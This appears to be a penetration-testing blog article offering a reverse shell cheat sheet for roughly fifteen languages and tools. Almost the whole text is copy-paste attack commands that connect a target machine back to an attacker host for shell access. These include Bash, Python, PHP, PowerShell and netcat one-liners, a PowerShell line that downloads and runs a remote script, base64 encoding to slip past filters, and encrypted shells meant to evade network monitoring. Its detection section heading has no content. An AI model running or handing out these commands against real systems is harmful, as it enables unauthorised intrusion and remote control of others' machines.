Reverse Shell Cheat Sheet 2026: One-Liners for Bash, Python, PowerShell, and 12 More Languages

Every penetration tester and bug bounty hunter needs reverse shells. You find an RCE, you need a shell — fast. This cheat sheet gives you copy-paste one-liners for 15 languages and tools, plus listener setup, shell upgrades, and encrypted shell techniques.

Replace ATTACKER_IP with your IP and PORT with your listener port (commonly 4444 or 9001) in every command below.

Listener Setup

Before sending any reverse shell, start a listener on your attack machine.

Basic Netcat Listener

nc -lvnp 4444

Netcat with Readline (arrow keys, history)

rlwrap nc -lvnp 4444

Socat Listener (full TTY from the start)

socat file:`tty`,raw,echo=0 tcp-listen:4444

Ncat with SSL (encrypted listener)

ncat --ssl -lvnp 4444

Bash

Works on most Linux systems. Bash's /dev/tcp is a built-in feature — no external tools needed.

Bash TCP

bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

Bash UDP

bash -i >& /dev/udp/ATTACKER_IP/PORT 0>&1

Bash with exec (alternative)

exec 5<>/dev/tcp/ATTACKER_IP/PORT; cat <&5 | while read line; do $line 2>&5 >&5; done

Bash base64-encoded (bypass filters)

echo "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1" | base64
# Then on target:
echo ENCODED_STRING | base64 -d | bash

Python

Python is installed on most Linux servers and many Windows machines. The most versatile cross-platform option.

Python 3

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Python 2

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Python (Windows)

python -c "import socket,subprocess,os;s=socket.socket();s.connect(('ATTACKER_IP',PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['cmd.exe'])"

PHP

Common on web servers. Multiple methods depending on which PHP functions are available (some may be disabled in php.ini).

PHP exec

php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

PHP proc_open

php -r '$sock=fsockopen("ATTACKER_IP",PORT);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

PHP system (web shell to reverse shell)

<?php system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"); ?>

PowerShell

The go-to for Windows targets. PowerShell reverse shells are often the most reliable on modern Windows.

PowerShell one-liner

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

PowerShell base64-encoded

# Generate on Linux:
echo -n 'IEX(IWR http://ATTACKER_IP/shell.ps1 -UseBasicParsing)' | iconv -t UTF-16LE | base64 -w 0
# Execute on target:
powershell -nop -enc ENCODED_STRING

Netcat

Classic tool. Different versions have different flags — -e is not available in all builds.

Netcat with -e (traditional)

nc -e /bin/sh ATTACKER_IP PORT

Netcat without -e (FIFO pipe method)

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP PORT > /tmp/f

Ncat (Nmap's netcat — supports SSL)

ncat --ssl ATTACKER_IP PORT -e /bin/sh

Perl

Perl

perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl (no /bin/sh)

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

Ruby

ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Ruby (Windows)

ruby -rsocket -e 'c=TCPSocket.new("ATTACKER_IP",PORT);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Java

Java Runtime exec

Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c exec 5<>/dev/tcp/ATTACKER_IP/PORT;cat <&5 | while read line; do $line 2>&5 >&5; done");
p.waitFor();

Java one-liner (for injection points)

java -cp . RevShell  // Compile: javac RevShell.java
// RevShell.java:
// import java.io.*;import java.net.*;
// public class RevShell{public static void main(String[] a)throws Exception{
// Socket s=new Socket("ATTACKER_IP",PORT);
// Process p=new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();
// InputStream pi=p.getInputStream(),si=s.getInputStream();
// OutputStream po=p.getOutputStream(),so=s.getOutputStream();
// while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());
// while(si.available()>0)po.write(si.read());so.flush();po.flush();
// Thread.sleep(50);if(p.exitValue()!=0)break;}}}

Node.js

Node.js

node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var client=new net.Socket();client.connect(PORT,"ATTACKER_IP",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});})()'

Node.js (require blocked — use global)

require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"')

Go

Go (compile and transfer)

// revshell.go — cross-compile: GOOS=linux GOARCH=amd64 go build -o revshell revshell.go
package main
import("net";"os/exec")
func main(){
  c,_:=net.Dial("tcp","ATTACKER_IP:PORT")
  cmd:=exec.Command("/bin/sh")
  cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c
  cmd.Run()
}

Rust

Rust (compile and transfer)

// Cross-compile: cargo build --release --target x86_64-unknown-linux-musl
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
fn main(){
    let s=TcpStream::connect("ATTACKER_IP:PORT").unwrap();
    let fd=s.as_raw_fd();
    Command::new("/bin/sh").arg("-i")
        .stdin(unsafe{Stdio::from_raw_fd(fd)})
        .stdout(unsafe{Stdio::from_raw_fd(fd)})
        .stderr(unsafe{Stdio::from_raw_fd(fd)})
        .spawn().unwrap().wait().unwrap();
}

Lua

Lua (requires luasocket)

lua -e "require('socket');require('os');t=socket.tcp();t:connect('ATTACKER_IP','PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Socat

Socat gives you a fully interactive TTY reverse shell — no upgrade needed.

Socat reverse shell (full TTY)

# Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

Socat encrypted (OpenSSL)

# Generate cert: openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
# Combine: cat shell.key shell.crt > shell.pem

# Listener:
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0

# Target:
socat OPENSSL:ATTACKER_IP:4444,verify=0 EXEC:/bin/sh,pty,stderr,setsid

OpenSSL (Encrypted Shell)

When you need encryption but only have OpenSSL on the target (no socat, no ncat).

OpenSSL reverse shell

# Generate cert on attacker:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 30 -nodes -subj '/CN=localhost'

# Listener:
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

# Target:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:4444 > /tmp/s; rm /tmp/s

Awk

Awk (GNU awk with networking)

awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/PORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Shell Upgrade to Full TTY

Basic reverse shells lack tab completion, arrow keys, and job control. Here's how to upgrade.

Python PTY upgrade (most common)

# On the target (inside your reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Press Ctrl+Z to background the shell

# On your machine:
stty raw -echo; fg

# Press Enter, then type:
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 38 columns 116

Script upgrade (if no Python)

script -qc /bin/bash /dev/null
# Then Ctrl+Z, stty raw -echo; fg, reset

Socat upgrade (if socat is on target)

# On attacker — start socat listener:
socat file:`tty`,raw,echo=0 tcp-listen:5555

# On target — connect back with full TTY:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:5555

Encrypted Reverse Shells

Unencrypted reverse shells are visible to any network monitoring tool. In real engagements, encrypt your shells.

Method Requires on Target Full TTY Setup Complexity
Ncat --ssl ncat No (needs upgrade) Low
Socat OPENSSL socat Yes Medium (cert gen)
OpenSSL s_client openssl No (needs upgrade) Medium (cert gen)
SSH reverse tunnel ssh client Yes Low

SSH reverse tunnel (if SSH client is available)

# On attacker — allow remote port forwarding:
# In /etc/ssh/sshd_config: GatewayPorts yes
# Start SSH server

# On target:
ssh -R 4444:localhost:22 attacker@ATTACKER_IP -N -f
# Now SSH to localhost:4444 on attacker machine to reach target

Detection and Logging Notes

If you're on a blue team or writing detection rules, here's what to look for:

Related Resources

Advertisement